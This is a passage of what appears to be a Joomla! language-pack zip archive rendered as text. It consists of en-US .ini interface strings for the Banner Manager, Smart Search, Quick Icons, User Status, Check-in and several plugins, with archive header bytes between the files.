COM_BANNERS_FIELD_CLIENT_NAME_LABEL="Client Name" COM_BANNERS_FIELD_CLIENT_STATE_DESC="Defines the status of the client" COM_BANNERS_FIELD_CLIENTOWNPREFIX_DESC="Use own prefix or the component prefix" COM_BANNERS_FIELD_CLIENTOWNPREFIX_LABEL="Use Own Prefix" COM_BANNERS_FIELD_COMPRESSED_DESC="Option to compress file for export" COM_BANNERS_FIELD_COMPRESSED_LABEL="Compressed" COM_BANNERS_FIELD_CONTACT_DESC="Enter the Name of a user as contact" COM_BANNERS_FIELD_CONTACT_LABEL="Contact Name" COM_BANNERS_FIELD_CREATED_DESC="Banner created date" COM_BANNERS_FIELD_CREATED_LABEL="Created Date" COM_BANNERS_FIELD_CUSTOMCODE_DESC="Enter your custom code for the banner" COM_BANNERS_FIELD_CUSTOMCODE_LABEL="Custom Code" COM_BANNERS_FIELD_DESCRIPTION_DESC="Enter a description for the banner" COM_BANNERS_FIELD_EMAIL_DESC="Enter a valid Contact email" COM_BANNERS_FIELD_EMAIL_LABEL="Contact email" COM_BANNERS_FIELD_EXTRAINFO_DESC="Enter extra information for this client." COM_BANNERS_FIELD_EXTRAINFO_LABEL="Additional Information" COM_BANNERS_FIELD_HEIGHT_DESC="The height of the banner" COM_BANNERS_FIELD_HEIGHT_LABEL="Height" COM_BANNERS_FIELD_IMAGE_DESC="Select an image for this banner. Images have to be in the /images/banners/ directory." COM_BANNERS_FIELD_IMAGE_LABEL="Image" COM_BANNERS_FIELD_IMPMADE_DESC="Displays the number of impressions made for the banner." COM_BANNERS_FIELD_IMPMADE_LABEL="Total Impressions" COM_BANNERS_FIELD_IMPTOTAL_DESC="Total limit of impressions defined for the banner." COM_BANNERS_FIELD_IMPTOTAL_LABEL="Max. Impressions" COM_BANNERS_FIELD_LANGUAGE_DESC="Assign a language to this banner" COM_BANNERS_FIELD_METAKEYWORDPREFIX_DESC="When matching Meta Keywords, only search for Meta Keywords with this prefix (improves performance)." COM_BANNERS_FIELD_METAKEYWORDPREFIX_LABEL="Meta Keyword Prefix" COM_BANNERS_FIELD_METAKEYWORDS_DESC="Enter here the meta keywords for the banner" COM_BANNERS_FIELD_NAME_DESC="Enter a name for the banner" COM_BANNERS_FIELD_NAME_LABEL="Name" COM_BANNERS_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the banner." COM_BANNERS_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" COM_BANNERS_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the banner." COM_BANNERS_FIELD_PUBLISH_UP_LABEL="Start Publishing" COM_BANNERS_FIELD_PURCHASETYPE_DESC="Select the type of purchase in the list." COM_BANNERS_FIELD_PURCHASETYPE_LABEL="Purchase Type" COM_BANNERS_FIELD_STATE_DESC="Defines the status of the banner" COM_BANNERS_FIELD_STICKY_DESC="Whether or not the Banner is 'sticky'. If one or more Banners in a Category are sticky, they will take priority over Banners that are not sticky. For example, if two Banners in a Category are sticky and a third Banner is not sticky, the third Banner will not display if the module setting is 'Sticky, Randomise'. Only the two sticky Banners will display." COM_BANNERS_FIELD_STICKY_LABEL="Sticky" COM_BANNERS_FIELD_TRACKCLICK_DESC="Record the number of clicks on the banners on a daily basis." COM_BANNERS_FIELD_TRACKCLICK_LABEL="Track Clicks" COM_BANNERS_FIELD_TRACKIMPRESSION_DESC="Record the impressions (views) of the banners on a daily basis." COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL="Track Impressions" COM_BANNERS_FIELD_TYPE_DESC="Choose the type of banner. Select Image to display an image from /images/banners/ directory. Select Custom to enter you custom code." COM_BANNERS_FIELD_TYPE_LABEL="Type" COM_BANNERS_FIELD_VALUE_1="Unlimited" COM_BANNERS_FIELD_VALUE_2="Yearly" COM_BANNERS_FIELD_VALUE_3="Monthly" COM_BANNERS_FIELD_VALUE_4="Weekly" COM_BANNERS_FIELD_VALUE_5="Daily" COM_BANNERS_FIELD_VALUE_CUSTOM="Custom" COM_BANNERS_FIELD_VALUE_IMAGE="Image" COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT="-- Use Client Default --" COM_BANNERS_FIELD_VALUE_USECOMPONENTDEFAULT="-- Use Component Default --" COM_BANNERS_FIELD_WIDTH_LABEL="Width" COM_BANNERS_FIELD_WIDTH_DESC="The width of the banner" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_LABEL="Client Options" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_DESC="These settings apply for all clients unless they are changed for a specific client." COM_BANNERS_FILENAME="%1$s-banners-tracks-%2$s" COM_BANNERS_GROUP_LABEL_PUBLISHING_DETAILS="Publishing Options" COM_BANNERS_HEADING_ACTIVE="Active" COM_BANNERS_HEADING_CLICKS="Clicks" COM_BANNERS_HEADING_CLIENT="Client" COM_BANNERS_HEADING_CONTACT="Contact" COM_BANNERS_HEADING_COUNT="Count" COM_BANNERS_HEADING_IMPRESSIONS="Impressions" COM_BANNERS_HEADING_METAKEYWORDS="Meta Keywords" COM_BANNERS_HEADING_NAME="Name" COM_BANNERS_HEADING_PURCHASETYPE="Purchase Type" COM_BANNERS_HEADING_STICKY="Sticky" COM_BANNERS_HEADING_TYPE="Type" COM_BANNERS_IMPRESSION="Impression" COM_BANNERS_IMPRESSIONS="%1$s of %2$s" COM_BANNERS_MANAGER="Banner Manager" COM_BANNERS_MANAGER_BANNER_EDIT="Banner Manager: Edit Banner" COM_BANNERS_MANAGER_BANNER_NEW="Banner Manager: New Banner" COM_BANNERS_MANAGER_BANNERS="Banner Manager: Banners" COM_BANNERS_MANAGER_CLIENT_EDIT="Banner Manager: Edit Client" COM_BANNERS_MANAGER_CLIENT_NEW="Banner Manager: New Client" COM_BANNERS_MANAGER_CLIENTS="Banner Manager: Clients" COM_BANNERS_MANAGER_TRACKS="Banner Manager: Tracks" COM_BANNERS_METADATA="Metadata" COM_BANNERS_N_BANNERS_STUCK="%d banners successfully stickied." COM_BANNERS_N_BANNERS_STUCK_1="%d banner successfully stickied." COM_BANNERS_N_BANNERS_UNSTUCK="%d banners successfully unstickied." COM_BANNERS_N_BANNERS_UNSTUCK_1="%d banner successfully unstickied." COM_BANNERS_NEW_BANNER="New Banner" COM_BANNERS_NEW_CLIENT="New Client" COM_BANNERS_NO_BANNERS_SELECTED="No banners selected" COM_BANNERS_NO_CLIENT="- No client -" COM_BANNERS_NO_CLIENTS_SELECTED="No clients selected" COM_BANNERS_NOCATEGORYNAME="No category" COM_BANNERS_NOCLIENTNAME="No client" COM_BANNERS_RESET_CLICKS="Reset clicks" COM_BANNERS_RESET_IMPMADE="Reset impressions" COM_BANNERS_SEARCH_IN_TITLE="Search in title" COM_BANNERS_SELECT_CLIENT="- Select Client -" COM_BANNERS_SELECT_TYPE="- Type -" COM_BANNERS_SUBMENU_BANNERS="Banners" COM_BANNERS_SUBMENU_CATEGORIES="Categories" COM_BANNERS_SUBMENU_CLIENTS="Clients" COM_BANNERS_SUBMENU_TRACKS="Tracks" COM_BANNERS_TRACKS_DELETE="Delete Tracks" COM_BANNERS_TRACKS_DOWNLOAD="Download tracks" COM_BANNERS_TRACKS_EXPORT="Export" COM_BANNERS_TRACKS_N_ITEMS_DELETED="%d tracks successfully deleted" COM_BANNERS_TRACKS_N_ITEMS_DELETED_1="%d track successfully deleted" COM_BANNERS_TYPE1="Impressions" COM_BANNERS_TYPE2="Clicks" COM_BANNERS_UNLIMITED="Unlimited" COM_BANNERS_XML_DESCRIPTION="This component manages banners and banner clients" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\~P1language/en-US/en-US.plg_system_highlight.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="System - Highlight" PLG_SYSTEM_HIGHLIGHT_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"System - Highlight"_QQ_" plugin" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="System plugin to highlight specified terms." PK@y>\Q0language/en-US/en-US.plg_editors-xtd_article.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_ARTICLE_BUTTON_ARTICLE="Article" PLG_ARTICLE_XML_DESCRIPTION="Displays a button to make it possible to insert articles' links into an Article. Displays a popup allowing you to choose the article" PLG_EDITORS-XTD_ARTICLE="Button - Article" PK@y>\t=Z/&language/en-US/en-US.mod_quickicon.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_QUICKICON="Quick Icons" MOD_QUICKICON_ADD_NEW_ARTICLE="Add New Article" MOD_QUICKICON_ARTICLE_MANAGER="Article Manager" MOD_QUICKICON_CATEGORY_MANAGER="Category Manager" MOD_QUICKICON_EXTENSION_MANAGER="Extension Manager" MOD_QUICKICON_FRONTPAGE_MANAGER="Front Page Manager" MOD_QUICKICON_GLOBAL_CONFIGURATION="Global Configuration" MOD_QUICKICON_GROUP_DESC="The group of this module (this value is compared with the group value used in Quick Icons plugins to inject icons). The 'mod_quickicon' group always displays the Joomla! core icons." MOD_QUICKICON_GROUP_LABEL="Group" MOD_QUICKICON_LANGUAGE_MANAGER="Language Manager" MOD_QUICKICON_MEDIA_MANAGER="Media Manager" MOD_QUICKICON_MENU_MANAGER="Menu Manager" MOD_QUICKICON_MODULE_MANAGER="Module Manager" MOD_QUICKICON_PROFILE="Edit Profile" MOD_QUICKICON_TEMPLATE_MANAGER="Template Manager" MOD_QUICKICON_TITLE="Quick Icons" MOD_QUICKICON_USER_MANAGER="User Manager" MOD_QUICKICON_XML_DESCRIPTION="This module shows Quick Icons that are visible on the Control Panel (admin area home page)" PK@y>\YN,language/en-US/en-US.plg_finder_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Smart Search - Weblinks" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="This plugin indexes Joomla! Weblinks." PLG_FINDER_QUERY_FILTER_BRANCH_S_WEB_LINK="Web link" PLG_FINDER_QUERY_FILTER_BRANCH_P_WEB_LINK="Web links" PK@y>\l[[1language/en-US/en-US.plg_extension_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EXTENSION_JOOMLA="Extension - Joomla" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Manage the update sites for extensions"PK@y>\ sk6language/en-US/en-US.plg_authentication_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTH_JOOMLA_XML_DESCRIPTION="Handles Joomla's default User authentication
            Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PLG_AUTHENTICATION_JOOMLA="Authentication - Joomla"PK@y>\Wyy#language/en-US/en-US.mod_status.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_STATUS="User Status" MOD_STATUS_BACKEND_USERS="%s Admins" MOD_STATUS_BACKEND_USERS_1="%s Admin" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_DESC="Show the number of users logged-in to the backend control panel" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_LABEL="Show logged-in backend users" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_DESC="Show the number of users logged-in for both frontend site and backend control panel" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_LABEL="Show logged-in users" MOD_STATUS_FIELD_SHOW_MESSAGES_DESC="Show the messages count for the current user's inbox" MOD_STATUS_FIELD_SHOW_MESSAGES_LABEL="Show messages" MOD_STATUS_LOG_OUT="Log out" MOD_STATUS_MESSAGES="%d" MOD_STATUS_MESSAGES_0="%d" MOD_STATUS_MESSAGES_1="%d" MOD_STATUS_USERS="%s Visitors" MOD_STATUS_USERS_0="%s Visitors" MOD_STATUS_USERS_1="%s Visitor" MOD_STATUS_XML_DESCRIPTION="This module shows the status of the logged-in users."PK@y>\AJr$language/en-US/en-US.com_checkin.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CHECKIN="Checkin" COM_CHECKIN_CONFIGURATION="Check-in Configuration" COM_CHECKIN_DATABASE_TABLE="Database Table" COM_CHECKIN_FILTER_SEARCH_DESC="Search table" COM_CHECKIN_GLOBAL_CHECK_IN="Maintenance: Global Check-In" COM_CHECKIN_ITEMS_TO_CHECK_IN="Items to check-in" COM_CHECKIN_N_ITEMS_CHECKED_IN_0="No item checked-in" COM_CHECKIN_N_ITEMS_CHECKED_IN_1="1 item checked-in" COM_CHECKIN_N_ITEMS_CHECKED_IN_MORE="%s items checked-in" COM_CHECKIN_TABLE="%s table" COM_CHECKIN_XML_DESCRIPTION="Checkin Component" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\&@@'language/en-US/en-US.tpl_hathor.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor Administrator template" TPL_HATHOR_POSITION_CP_SHELL="Unused" TPL_HATHOR_POSITION_CPANEL="Control Panel" TPL_HATHOR_POSITION_DEBUG="Debug" TPL_HATHOR_POSITION_FOOTER="Footer" TPL_HATHOR_POSITION_ICON="Quick Icons" TPL_HATHOR_POSITION_LOGIN="Login" TPL_HATHOR_POSITION_MENU="Menu" TPL_HATHOR_POSITION_STATUS="Status" TPL_HATHOR_POSITION_SUBMENU="Submenu" TPL_HATHOR_POSITION_TITLE="Title" TPL_HATHOR_POSITION_TOOLBAR="Toolbar" TPL_HATHOR_XML_DESCRIPTION="Hathor is an accessible administrator template for Joomla!. The Colour CSS files can also be used for custom colour branding."PK@y>\Y|EE)language/en-US/en-US.plg_editors_none.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_NONE="Editor - None" PLG_NONE_XML_DESCRIPTION="This loads a basic text entry field." PK@y>\ߢH4language/en-US/en-US.plg_editors-xtd_article.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_ARTICLE_XML_DESCRIPTION="Displays a button to make it possible to insert articles' links into an Article. Displays a popup allowing you to choose the article" PLG_EDITORS-XTD_ARTICLE="Button - Article" PK@y>\#77#language/en-US/en-US.com_finder.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER="Smart Search" COM_FINDER_AN_ERROR_HAS_OCCURRED="An Error Has Occurred" COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_DESCRIPTION="Only if a filter is selected, allow an empty search string to initiate a search within the filter restraints." COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_LABEL="Allow Empty Search" COM_FINDER_CONFIG_BATCH_SIZE_DESCRIPTION="The batch size controls how many items are processed per batch. Large batch sizes require lots of memory whereas small batch sizes require less memory but execute more requests which tends to take longer." COM_FINDER_CONFIG_BATCH_SIZE_LABEL="Indexer Batch Size" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESCRIPTION="Description text for search results will be truncated to the specified character length." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Description Length" COM_FINDER_CONFIG_ENABLE_LOGGING_DESCRIPTION="Enable this option to create a log file in your site's logs folder during the index process. This file is useful for troubleshooting issues with the index process. It is recommended that logging be disabled unless necessary." COM_FINDER_CONFIG_ENABLE_LOGGING_LABEL="Enable Logging" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESCRIPTION="Toggle whether the advanced search options should be expanded by default." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expand Advanced Search" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="OpenSearch Name" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_DESCRIPTION="Name displayed for this site as a search provider." COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="OpenSearch Description" COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESCRIPTION="Description displayed for this site as a search provider." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_DESCRIPTION="Toggle whether search terms should be highlighted in search results." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_LABEL="Highlight Search Terms" COM_FINDER_CONFIG_IMPORT_EXPORT="Import/Export" COM_FINDER_CONFIG_IMPORT_EXPORT_HELP="Help" COM_FINDER_CONFIG_IMPORT_EXPORT_INSTRUCTIONS="To export your configuration options, click on the Export button in the toolbar above.

            To import an existing configuration, click on the browse button to select a file from your hard drive or copy/paste the data into the text field below and then click the Import button in the toolbar above." COM_FINDER_CONFIG_IMPORT_FROM_FILE="Import From File:" COM_FINDER_CONFIG_IMPORT_FROM_STRING="Import From Text:" COM_FINDER_CONFIG_IMPORT_TOOLBAR_TITLE="Smart Search: Import/Export Configuration" COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_DESCRIPTION="The memory table limit should not be changed unless you are getting errors indicating that the finder_tokens or finder_tokens_aggregate tables are full. The default is 30,000." COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_LABEL="Memory Table Limit" COM_FINDER_CONFIG_META_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The meta data comes from a number of sources including the meta-keywords and meta-description, author names, etc." COM_FINDER_CONFIG_META_MULTIPLIER_LABEL="Meta Data Weight Multiplier" COM_FINDER_CONFIG_MISC_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The miscellaneous text comes from a number of sources including comments and other associated data." COM_FINDER_CONFIG_MISC_MULTIPLIER_LABEL="Miscellaneous Text Weight Multiplier" COM_FINDER_CONFIG_PATH_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The path text comes from the SEF URL of the content." COM_FINDER_CONFIG_PATH_MULTIPLIER_LABEL="Path Text Weight Multiplier" COM_FINDER_CONFIG_SORT_DIRECTION_DESC="The direction in which to sort the search results." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Sort Direction" COM_FINDER_CONFIG_SORT_ORDER_DESC="The field on which to sort the search results." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Sort Field" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascending" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descending" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="List price" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevance" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Date" COM_FINDER_CONFIG_SHOW_ADVANCED_DESCRIPTION="Toggle whether users should be able to see advanced search options." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Advanced Search" COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_DESCRIPTION="Toggle whether users should be able to see advanced search tips." COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_LABEL="Advanced Tips" COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_DESCRIPTION="Toggle whether automatic search suggestions should be displayed." COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_LABEL="Search Suggestions" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESCRIPTION="Show the start and end date filters in the advanced search." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Date Filters" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESCRIPTION="Toggle whether the description should be displayed with search results." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Result Description" COM_FINDER_CONFIG_SHOW_URL_DESCRIPTION="Show the associated URL for the item." COM_FINDER_CONFIG_SHOW_URL_LABEL="Result URL" COM_FINDER_CONFIG_STEMMER_DESCRIPTION="The language stemmer to use. Choose snowball if a stemmer for your language is not available or you have multilingual content." COM_FINDER_CONFIG_STEMMER_ENABLE_DESCRIPTION="Enable language stemming if available." COM_FINDER_CONFIG_STEMMER_ENABLE_LABEL="Enable stemmer" COM_FINDER_CONFIG_STEMMER_LABEL="Stemmer" COM_FINDER_CONFIG_STEMMER_PORTER_EN="English Only" COM_FINDER_CONFIG_STEMMER_SNOWBALL="Snowball" COM_FINDER_CONFIG_TEXT_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The body text comes from the summary and/or body of the content." COM_FINDER_CONFIG_TEXT_MULTIPLIER_LABEL="Body Text Weight Multiplier" COM_FINDER_CONFIG_TITLE_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The title text comes from the title of the content." COM_FINDER_CONFIG_TITLE_MULTIPLIER_LABEL="Title Text Weight Multiplier" COM_FINDER_CONFIGURATION="Smart Search: Configuration" COM_FINDER_CREATE_FILTER="Create a filter." COM_FINDER_EDIT_FILTER="Edit Filter" COM_FINDER_EXPORT="Export" COM_FINDER_FIELD_CREATED_BY_LABEL="Created by" COM_FINDER_FIELD_CREATED_BY_DESC="Creator of the filter" COM_FINDER_FIELD_CREATED_BY_ALIAS_LABEL="Alias" COM_FINDER_FIELD_CREATED_BY_ALIAS_DESC="Displayed name of the filter creator" COM_FINDER_FIELD_MODIFIED_DESCRIPTION="The date and time that the filter was last modified." COM_FINDER_FIELDSET_INDEX_OPTIONS_DESCRIPTION="Indexing Options" COM_FINDER_FIELDSET_INDEX_OPTIONS_LABEL="Index" COM_FINDER_FIELDSET_SEARCH_OPTIONS_DESCRIPTION="Search Options" COM_FINDER_FIELDSET_SEARCH_OPTIONS_LABEL="Search" COM_FINDER_FILTER_BRANCH_LABEL="Search by %s" COM_FINDER_FILTER_BY="Show %s:" COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE="Smart Search: Edit Search Filter" COM_FINDER_FILTER_END_DATE_LABEL="End Date" COM_FINDER_FILTER_END_DATE_DESCRIPTION="Format YYYY-MM-DD" COM_FINDER_FILTER_FIELDSET_DETAILS="Filter Details" COM_FINDER_FILTER_FIELDSET_PARAMS="Filter Timeline" COM_FINDER_FILTER_MAP_COUNT="Map Count" COM_FINDER_FILTER_MAP_COUNT_DESCRIPTION="The number of maps included in the filter." COM_FINDER_FILTER_SEARCH_DESCRIPTION="Filter the list by a title." COM_FINDER_FILTER_SELECT_ALL_LABEL="Search All" COM_FINDER_FILTER_START_DATE_LABEL="Start Date" COM_FINDER_FILTER_START_DATE_DESCRIPTION="Format YYYY-MM-DD" COM_FINDER_FILTER_TIMESTAMP="Created On" COM_FINDER_FILTER_TITLE_DESCRIPTION="The title of the filter." COM_FINDER_FILTER_WHEN_AFTER="After" COM_FINDER_FILTER_WHEN_BEFORE="Before" COM_FINDER_FILTER_WHEN_END_DATE_LABEL="When (End Date)" COM_FINDER_FILTER_WHEN_END_DATE_DESCRIPTION="When to search relative to the end date (before, after or exactly)" COM_FINDER_FILTER_WHEN_EXACTLY="Exactly" COM_FINDER_FILTER_WHEN_START_DATE_LABEL="When (Start Date)" COM_FINDER_FILTER_WHEN_START_DATE_DESCRIPTION="When to search relative to the start date (before, after or exactly)" COM_FINDER_FILTERS="Filters" COM_FINDER_FILTERS_DELETE_CONFIRMATION="Are you sure you want to delete the selected filters(s)?" COM_FINDER_FILTERS_TOOLBAR_TITLE="Smart Search: Manage Search Filters" COM_FINDER_GO="Go" COM_FINDER_IMPORT="Import" COM_FINDER_INDEX="Index" COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT="Are you sure you want to delete the selected item(s)?" COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT="Are you sure you want to delete ALL items from the index? This can take a long time on large sites." COM_FINDER_INDEX_DATE_INFO="Link Date Information::Published Start: %s
            Published End: %s
            Content Start: %s
            Content End: %s" COM_FINDER_INDEX_FILTER_BY_STATE="Any Published State" COM_FINDER_INDEX_HEADING_INDEX_DATE="Last Updated" COM_FINDER_INDEX_HEADING_INDEX_TYPE="Type" COM_FINDER_INDEX_HEADING_LINK_URL="Raw URL" COM_FINDER_INDEX_NO_CONTENT="No content matches your search criteria." COM_FINDER_INDEX_NO_DATA="No content has been indexed." COM_FINDER_INDEX_PLUGIN_CONTENT_NOT_ENABLED="Smart Search content plug-in is not enabled. Changes to content will not update the Smart Search index if you do not enable this plug-in." COM_FINDER_INDEX_PURGE_SUCCESS="All items have been successfully purged." COM_FINDER_INDEX_TIP="Start the indexer by pressing the Index button in the toolbar." COM_FINDER_INDEX_TOOLBAR_PURGE="Purge" COM_FINDER_INDEX_TOOLBAR_TITLE="Smart Search: Manage Indexed Content" COM_FINDER_INDEX_TYPE_FILTER="Any Type of Content" COM_FINDER_INDEXER_HEADER_COMPLETE="Indexing Complete" COM_FINDER_INDEXER_HEADER_ERROR="An Error Has Occurred" COM_FINDER_INDEXER_HEADER_INIT="Starting Indexer" COM_FINDER_INDEXER_HEADER_OPTIMIZE="Optimizing Index" COM_FINDER_INDEXER_HEADER_RUNNING="Indexer Running" COM_FINDER_INDEXER_INVALID_PARSER="Invalid parser type %s" COM_FINDER_INDEXER_INVALID_STEMMER="Invalid stemmer type %s" COM_FINDER_INDEXER_MESSAGE_COMPLETE="The indexing process is complete. It is now safe to close this window." COM_FINDER_INDEXER_MESSAGE_INIT="The indexer is being initialized. Do not close this window." COM_FINDER_INDEXER_MESSAGE_OPTIMIZE="The index tables are being optimized for the best possible performance. Do not close this window." COM_FINDER_INDEXER_MESSAGE_RUNNING="Your content is being indexed. Do not close this window." COM_FINDER_ITEM_X_ONLY="%s Only" COM_FINDER_ITEMS="Content" COM_FINDER_MAP_PUBLISH_FAILED="The selected map(s) could not be published. The returned error message is: %s." COM_FINDER_MAP_PUBLISH_SUCCESS="The selected map(s) were successfully published." COM_FINDER_MAP_UNPUBLISH_FAILED="The selected map(s) could not be unpublished. The returned error message is: %s." COM_FINDER_MAP_UNPUBLISH_SUCCESS="The selected map(s) were successfully unpublished." COM_FINDER_MAPS="Maps" COM_FINDER_MAPS_BRANCH_LINK="Click to show the children in this branch." COM_FINDER_MAPS_BRANCHES="Branches Only" COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT="Are you sure you want to delete the selected maps(s)?" COM_FINDER_MAPS_MULTILANG="Note: Language filter system plug-in has been enabled, so this branch will not be used." COM_FINDER_MAPS_NO_CONTENT="No results to display. Either no content has been indexed or no content meets your filter criteria." COM_FINDER_MAPS_RETURN_TO_BRANCHES="Return to Branches" COM_FINDER_MAPS_TOOLBAR_TITLE="Smart Search: Manage Content Maps" COM_FINDER_MESSAGE_RETURNED="The following message was returned by the server:" COM_FINDER_N_ITEMS_CHECKED_IN_0="No item successfully checked in" COM_FINDER_N_ITEMS_CHECKED_IN_1="%d item successfully checked in" COM_FINDER_N_ITEMS_CHECKED_IN_MORE="%d items successfully checked in" COM_FINDER_N_ITEMS_DELETED="%d items successfully deleted" COM_FINDER_N_ITEMS_DELETED_1="%d item successfully deleted" COM_FINDER_N_ITEMS_PUBLISHED="%d items successfully published" COM_FINDER_N_ITEMS_PUBLISHED_1="%d item successfully published" COM_FINDER_N_ITEMS_TRASHED="%d items successfully trashed" COM_FINDER_N_ITEMS_TRASHED_1="%d item successfully trashed" COM_FINDER_N_ITEMS_UNPUBLISHED="%d items successfully unpublished" COM_FINDER_N_ITEMS_UNPUBLISHED_1="%d item successfully unpublished" COM_FINDER_NO_ERROR_RETURNED="No error was returned. Make sure error reporting is enabled." COM_FINDER_NO_FILTERS="No 